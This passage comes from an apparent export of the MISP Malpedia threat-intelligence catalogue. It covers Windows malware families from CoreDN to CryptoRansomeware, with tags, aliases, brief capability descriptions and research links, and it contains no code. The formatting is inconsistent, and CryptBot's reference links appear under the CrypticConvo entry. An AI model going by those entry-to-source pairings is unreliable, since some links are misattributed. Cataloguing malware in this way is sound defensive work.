<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf</a></td>
</tr>
</tbody>
</table>

CoreDN

The tag is: *misp-galaxy:malpedia="CoreDN"*

CoreDN is also known as:

### Table References
Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn
https://blog.alyac.co.kr/2105
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/#article-content

Coreshell

The tag is: misp-galaxy:malpedia="Coreshell"

Coreshell is also known as:

• SOURFACE

Table 2771. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell
http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf

CoronaVirus Ransomware

The tag is: misp-galaxy:malpedia="CoronaVirus Ransomware"

CoronaVirus Ransomware is also known as:

• CoronaVirus Cover-Ransomware

Table 2772. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.coronavirus_ransomware
https://id-ransomware.blogspot.com/2020/03/coronavirus-ransomware.html
**CosmicDuke**

The tag is: `misp-galaxy:malpedia="CosmicDuke"`

CosmicDuke is also known as:

<table>
<thead>
<tr>
<th>Table 2773. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke</a></td>
</tr>
<tr>
<td><a href="https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/">https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/</a></td>
</tr>
</tbody>
</table>

**Cotx RAT**

The tag is: `misp-galaxy:malpedia="Cotx RAT"`

Cotx RAT is also known as:

<table>
<thead>
<tr>
<th>Table 2774. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx">https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx</a></td>
</tr>
<tr>
<td><a href="https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html">https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=1WfPlgtfWnQ">https://www.youtube.com/watch?v=1WfPlgtfWnQ</a></td>
</tr>
</tbody>
</table>
**Cova**

The tag is: `misp-galaxy:malpedia="Cova"`

Cova is also known as:

*Table 2775. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cova">https://malpedia.caad.fkie.fraunhofer.de/details/win.cova</a></td>
</tr>
</tbody>
</table>

**Covicli**

Covicli is a modified SSLeay32 dynamic library designated as a backdoor. The dynamic library allows the attacker to communicate with the C2 over OpenSSL.

The tag is: `misp-galaxy:malpedia="Covicli"`

Covicli is also known as:

- Covically

*Table 2776. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.covicli">https://malpedia.caad.fkie.fraunhofer.de/details/win.covicli</a></td>
</tr>
</tbody>
</table>

**Covid22**

Destructive "joke" malware that ultimately deploys a wiper for the MBR.

The tag is: `misp-galaxy:malpedia="Covid22"`

Covid22 is also known as:

*Table 2777. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22">https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/to-joke-or-not-to-joke-covid-22-brings-disaster-to-mbr">https://www.fortinet.com/blog/threat-research/to-joke-or-not-to-joke-covid-22-brings-disaster-to-mbr</a></td>
</tr>
</tbody>
</table>

**CoViper**

PCRisk notes that CoViper is yet another Coronavirus/COVID-19-themed malware infection, most likely proliferated as a file related to the pandemic. It operates by rewriting the system Master Boot
Record (MBR). It does not delete the original, but rather creates a backup and replaces it with a custom MBR.

Typically, malicious software that modifies MBRs do so to prevent the Operating System (OS) from being booted (i.e., started). It also displays a screen-encompassing message, often containing a ransom message - this disables user access to the device.

The tag is: *misp-galaxy:malpedia=*"CoViper"

CoViper is also known as:

**Table 2778. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.coviper">https://malpedia.caad.fkie.fraunhofer.de/details/win.coviper</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/janrubin/coviper-locking-down-computers-during-lockdown/">https://decoded.avast.io/janrubin/coviper-locking-down-computers-during-lockdown/</a></td>
</tr>
</tbody>
</table>

**COZYDUKE**

CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around a core backdoor component. This component can be instructed by the C&C server to download and execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array of functionality. Known CozyDuke modules include: • Command execution module for executing arbitrary Windows Command Prompt commands • Password stealer module • NT LAN Manager (NTLM) hash stealer module • System information gathering module • Screenshot module

The tag is: *misp-galaxy:malpedia=*"COZYDUKE"

COZYDUKE is also known as:

- Cozer
- CozyBear
- CozyCar
- EuroAPT

**Table 2779. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cozyduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.cozyduke</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html">https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html</a></td>
</tr>
</tbody>
</table>
crackshot

CRACKSHOT is a downloader that can download files, including binaries, and run them from the hard disk or execute them directly in memory. It is also capable of placing itself into a dormant state.

The tag is: `misp-galaxy:malpedia="crackshot"`

crackshot is also known as:

### Table 2780. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.crackshot">https://malpedia.caad.fkie.fraunhofer.de/details/win.crackshot</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt-41/rpt-apt41/">https://content.fireeye.com/apt-41/rpt-apt41/</a></td>
</tr>
</tbody>
</table>

CradleCore

The tag is: `misp-galaxy:malpedia="CradleCore"`

CradleCore is also known as:

### Table 2781. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore">https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore</a></td>
</tr>
</tbody>
</table>

CRAT

According to Cisco Talos, CRAT is a remote access trojan with plugin capabilities, used by Lazarus since at least May 2020.

The tag is: `misp-galaxy:malpedia="CRAT"`

CRAT is also known as:

### Table 2782. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.crat">https://malpedia.caad.fkie.fraunhofer.de/details/win.crat</a></td>
</tr>
<tr>
<td><a href="https://suspected.tistory.com/269">https://suspected.tistory.com/269</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/2sV-DrlleHijMSpSCW0kAMg">https://mp.weixin.qq.com/s/2sV-DrlleHijMSpSCW0kAMg</a></td>
</tr>
<tr>
<td><a href="https://www.secrss.com/articles/18635">https://www.secrss.com/articles/18635</a></td>
</tr>
</tbody>
</table>
CREAMSICLE

The tag is: misp-galaxy:malpedia="CREAMSICLE"

CREAMSICLE is also known as:

Table 2783. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.creamsicle">https://malpedia.caad.fkie.fraunhofer.de/details/win.creamsicle</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

CredoMap

The tag is: misp-galaxy:malpedia="CredoMap"

CredoMap is also known as:

Table 2784. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.credomap">https://malpedia.caad.fkie.fraunhofer.de/details/win.credomap</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/341128">https://cert.gov.ua/article/341128</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html">https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html</a></td>
</tr>
<tr>
<td><a href="https://securityscorecard.com/research/apt28s-stealer-called-credomap">https://securityscorecard.com/research/apt28s-stealer-called-credomap</a></td>
</tr>
</tbody>
</table>

Credraptor

The tag is: misp-galaxy:malpedia="Credraptor"

Credraptor is also known as:

Table 2785. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor">https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor</a></td>
</tr>
</tbody>
</table>

CreepySnail

The tag is: misp-galaxy:malpedia="CreepySnail"
CreepySnail is also known as:

*Table 2786. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**CreepExfil**

The tag is: `misp-galaxy:malpedia="CreepExfil"`

CreepExfil is also known as:

*Table 2787. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Crenufs**

The tag is: `misp-galaxy:malpedia="Crenufs"`

Crenufs is also known as:

*Table 2788. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Crimson RAT**

It was first discovered in 2017 and has since been used to attack organizations around the world. The malware is often distributed through phishing emails or by exploiting vulnerabilities in outdated security software. Once Crimson RAT is installed on a computer, it can be used to steal data, spy on users, and even take control of the infected computers.

Some of the features of Crimson RAT include:

- Remote control of infected computers
- Data theft, such as passwords, files, and emails
- User spying
- Takeover of infected computers
- Locking of infected computers
- Extortion of payments

The tag is: `misp-galaxy:malpedia="Crimson RAT"`

Crimson RAT is also known as:

- SEEDOOR
### Table 2789. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/katechondic/status/1502206599166939137">https://twitter.com/katechondic/status/1502206599166939137</a></td>
</tr>
<tr>
<td><a href="https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack">https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html">https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN6l2Fg">https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN6l2Fg</a></td>
</tr>
<tr>
<td><a href="https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF">https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg">https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg</a></td>
</tr>
<tr>
<td><a href="https://www.4hou.com/posts/vLzM">https://www.4hou.com/posts/vLzM</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/teamcymru_S2/status/1501955802025836546">https://twitter.com/teamcymru_S2/status/1501955802025836546</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/">https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/</a></td>
</tr>
<tr>
<td><a href="https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/">https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ">https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ</a></td>
</tr>
</tbody>
</table>
CrimsonIAS

According to ThreatConnect, CrimsonIAS is a Delphi-written backdoor dating back to at least 2017. It enables operators to run command line tools, exfiltrate files, and upload files to the infected machine. CrimsonIAS is notable as it listens for incoming connections only; making it different from typical Windows backdoors that beacons out.

The tag is: `misp-galaxy:malpedia="CrimsonIAS"`

CrimsonIAS is also known as:

Table 2790. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.crimsonias">https://malpedia.caad.fkie.fraunhofer.de/details/win.crimsonias</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/crimsonias-listening-for-an-3v11-user/">https://threatconnect.com/blog/crimsonias-listening-for-an-3v11-user/</a></td>
</tr>
</tbody>
</table>

Cring

Ransomware.

The tag is: `misp-galaxy:malpedia="Cring"`

Cring is also known as:

Table 2791. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cring">https://malpedia.caad.fkie.fraunhofer.de/details/win.cring</a></td>
</tr>
</tbody>
</table>
CrossLock

The tag is: misp-galaxy:malpedia="CrossLock"

CrossLock is also known as:

Table 2792. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.crosslock
https://twitter.com/1ZRR4H/status/1648232869809078273

CROSSWALK

According to FireEye, CROSSWALK is a skeletal, modular backdoor capable of system survey and adding modules in response to C&C replies.

The tag is: misp-galaxy:malpedia="CROSSWALK"

CROSSWALK is also known as:

• Motnug
• ProxIP
• TOMMYGUN

Table 2793. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk
https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/
https://thehackernews.com/2021/01/researchers-disclose-undocumented.html
https://twitter.com/MrDanPerez/status/1159459082534825986
Croxloader

According to Trend Micro, this is a custom loader for win.cobalt_strike, used by Earth Longzhi (a subgroup of APT41).

The tag is: `misp-galaxy:malpedia="Croxloader"`

Croxloader is also known as:

Table 2794. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader</a></td>
</tr>
</tbody>
</table>

CruLoader

The tag is: `misp-galaxy:malpedia="CruLoader"`

CruLoader is also known as:

Table 2795. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cruloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.cruloader</a></td>
</tr>
<tr>
<td><a href="https://malwarebookreports.com/cruloader-zero2auto/">https://malwarebookreports.com/cruloader-zero2auto/</a></td>
</tr>
</tbody>
</table>

Crutch

The tag is: `misp-galaxy:malpedia="Crutch"`
Crutch is also known as:

Table 2796. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch">https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/">https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/</a></td>
</tr>
</tbody>
</table>

Cryakl

The tag is: misp-galaxy:malpedia="Cryakl"

Cryakl is also known as:

- CryLock

Table 2797. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryakl">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryakl</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cis-ransomware/104452/">https://securelist.com/cis-ransomware/104452/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/albertszigovits/status/1217866089964679174">https://twitter.com/albertszigovits/status/1217866089964679174</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/">https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/</a></td>
</tr>
<tr>
<td><a href="https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/">https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/971164798376468481">https://twitter.com/demonslay335/status/971164798376468481</a></td>
</tr>
<tr>
<td><a href="https://bartblaze.blogspot.com/2016/02/vipasana-ransomware-new-ransom-on-block.html">https://bartblaze.blogspot.com/2016/02/vipasana-ransomware-new-ransom-on-block.html</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/trigona-ransomware-update/">https://unit42.paloaltonetworks.com/trigona-ransomware-update/</a></td>
</tr>
<tr>
<td><a href="https://hackmag.com/security/ransomware-russian-style/">https://hackmag.com/security/ransomware-russian-style/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/bartblaze/status/1305197264332369920">https://twitter.com/bartblaze/status/1305197264332369920</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-return-of-fantomas-or-how-we-deciphered-cryakl/86511/">https://securelist.com/the-return-of-fantomas-or-how-we-deciphered-cryakl/86511/</a></td>
</tr>
</tbody>
</table>
**CryLocker**

The tag is: *misp-galaxy:malpedia="CryLocker"*

CryLocker is also known as:

Table 2798. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker</a></td>
</tr>
</tbody>
</table>

**CrypMic**

The tag is: *misp-galaxy:malpedia="CrypMic"*

CrypMic is also known as:

Table 2799. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic">https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic</a></td>
</tr>
</tbody>
</table>

**Crypt0l0cker**

The tag is: *misp-galaxy:malpedia="Crypt0l0cker"*

Crypt0l0cker is also known as:

Table 2800. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker">https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/08/first-look-crypt0l0cker.html">http://blog.talosintelligence.com/2017/08/first-look-crypt0l0cker.html</a></td>
</tr>
</tbody>
</table>

**CryptBot**

A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.

The tag is: *misp-galaxy:malpedia="CryptBot"*

CryptBot is also known as:
CrypticConvo

CrypticConvo is a dropper trojan which appears to be embedded in an automatic generator framework to deliver the FakeM trojan. According to PaloaltoNetworks CrypticConvo and several additional trojans are believed to be included in a meta framework used by the "Scarlet Mimic" threat actor in order to quickly evade AV systems.

The tag is: *misp-galaxy:malpedia="CrypticConvo"*

CrypticConvo is also known as:

Table 2802. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot</a></td>
</tr>
<tr>
<td><a href="https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/">https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/</a></td>
</tr>
<tr>
<td><a href="https://experience.mandiant.com/trending-evil-2/p/1">https://experience.mandiant.com/trending-evil-2/p/1</a></td>
</tr>
<tr>
<td><a href="https://regmedia.co.uk/2023/04/28/handout_google_cryptbot_complaint.pdf">https://regmedia.co.uk/2023/04/28/handout_google_cryptbot_complaint.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2020/02/35802-bitbucket-abused-as-malware-slinger">https://www.gdatasoftware.com/blog/2020/02/35802-bitbucket-abused-as-malware-slinger</a></td>
</tr>
<tr>
<td><a href="https://fr3d.hk/blog/cryptbot-too-good-to-be-true">https://fr3d.hk/blog/cryptbot-too-good-to-be-true</a></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/cryptbot/botnet/yara/config/2023/03/16/cryptbot.html">https://research.openanalysis.net/cryptbot/botnet/yara/config/2023/03/16/cryptbot.html</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/russian-targeting-gov-business">https://www.mandiant.com/resources/russian-targeting-gov-business</a></td>
</tr>
</tbody>
</table>
CryptNET

According to OALabs, this ransomware has the following features:

- Files are encrypted with AES CBC using a generated 256 bit key and IV.
- The generated AES keys are encrypted using a hard coded RSA key and appended to the encrypted files.

The tag is: `misp-galaxy:malpedia="CryptNET"`

CryptNET is also known as:

Table 2803. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptnet">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptnet</a></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/dotnet/cryptnet/ransomware/2023/04/20/cryptnet.html">https://research.openanalysis.net/dotnet/cryptnet/ransomware/2023/04/20/cryptnet.html</a></td>
</tr>
</tbody>
</table>

CryptoDarkRubix

The tag is: `misp-galaxy:malpedia="CryptoDarkRubix"`

CryptoDarkRubix is also known as:

- Ranet

Table 2804. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptodarkrubix">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptodarkrubix</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/03/cryptodarkrubix-ransomware.html">https://id-ransomware.blogspot.com/2020/03/cryptodarkrubix-ransomware.html</a></td>
</tr>
</tbody>
</table>

CryptoJoker

CryptoJoker is an open source ransomware written in C#. CryptoJoker uses a combination of a "custom XOR" encryption and RSA. A private public/private pair key is generated for every computer.

The tag is: `misp-galaxy:malpedia="CryptoJoker"`

CryptoJoker is also known as:

- PlutoCrypt

Table 2805. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptojoker">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptojoker</a></td>
</tr>
</tbody>
</table>
CryptoLocker

CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.

The tag is: *misp-galaxy:malpedia="CryptoLocker"*

CryptoLocker is also known as:

Table 2806. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/cryptolocker-ransomware">https://www.secureworks.com/research/cryptolocker-ransomware</a></td>
</tr>
<tr>
<td><a href="https://sites.temple.edu/care/ci-rw-attacks/">https://sites.temple.edu/care/ci-rw-attacks/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-evergreen">https://www.secureworks.com/research/threat-profiles/gold-evergreen</a></td>
</tr>
</tbody>
</table>

CryptoLuck

The tag is: *misp-galaxy:malpedia="CryptoLuck"*

CryptoLuck is also known as:

Table 2807. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck</a></td>
</tr>
</tbody>
</table>
CryptoMix

A variant of CryptoMix is win.clop.

The tag is: misp-galaxy:malpedia="CryptoMix"

CryptoMix is also known as:

• Azer
• CryptFile2

Table 2808. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix</a></td>
</tr>
</tbody>
</table>

CryptoPatronum

CryptoPatronum is a ransomware that encrypts user data through AES-256 (CBC) and it asks for BTC / ETH in order to get back the original files. In the ransom note there is not a title but only a reference to crssss.exe: its original file name. Once the files are encrypted, CryptoPatronum adds a .enc extension.

The tag is: misp-galaxy:malpedia="CryptoPatronum"

CryptoPatronum is also known as:

Table 2809. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptopatronum">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptopatronum</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/01/cryptopatronum-ransomware.html">https://id-ransomware.blogspot.com/2020/01/cryptopatronum-ransomware.html</a></td>
</tr>
</tbody>
</table>

Cryptorium

The tag is: misp-galaxy:malpedia="Cryptorium"

Cryptorium is also known as:

Table 2810. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
CryptoShield

The tag is: *misp-galaxy:malpedia=*"CryptoShield"

CryptoShield is also known as:

Table 2811. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield</a></td>
</tr>
<tr>
<td><a href="http://www.broadanalysis.com/2017/03/14/rig-exploit-kit-via-the-eitest-delivers-cryptoshieldrevenge-ransomware/">http://www.broadanalysis.com/2017/03/14/rig-exploit-kit-via-the-eitest-delivers-cryptoshieldrevenge-ransomware/</a></td>
</tr>
</tbody>
</table>

CryptoShuffler

The tag is: *misp-galaxy:malpedia=*"CryptoShuffler"

CryptoShuffler is also known as:

Table 2812. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler</a></td>
</tr>
</tbody>
</table>

Cryptowall

CryptoWall is a ransomware, is usually spread by spam and phishing emails, malicious ads, hacked websites, or other malware and uses a Trojan horse to deliver the malicious payload.

The tag is: *misp-galaxy:malpedia=*"Cryptowall"

Cryptowall is also known as:

Table 2813. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall</a></td>
</tr>
<tr>
<td><a href="https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f">https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f</a></td>
</tr>
<tr>
<td><a href="https://sites.temple.edu/care/ci-rw-attacks/">https://sites.temple.edu/care/ci-rw-attacks/</a></td>
</tr>
</tbody>
</table>
## CryptoWire

The tag is: `misp-galaxy:malpedia="CryptoWire"`

CryptoWire is also known as:

**Table 2814. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowire">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowire</a></td>
</tr>
</tbody>
</table>

## CryptoFortress

The tag is: `misp-galaxy:malpedia="CryptoFortress"`

CryptoFortress is also known as:

**Table 2815. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress">https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/">https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/</a></td>
</tr>
</tbody>
</table>

## CryptoRansomeware

The tag is: `misp-galaxy:malpedia="CryptoRansomeware"`

CryptoRansomeware is also known as:

**Table 2816. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
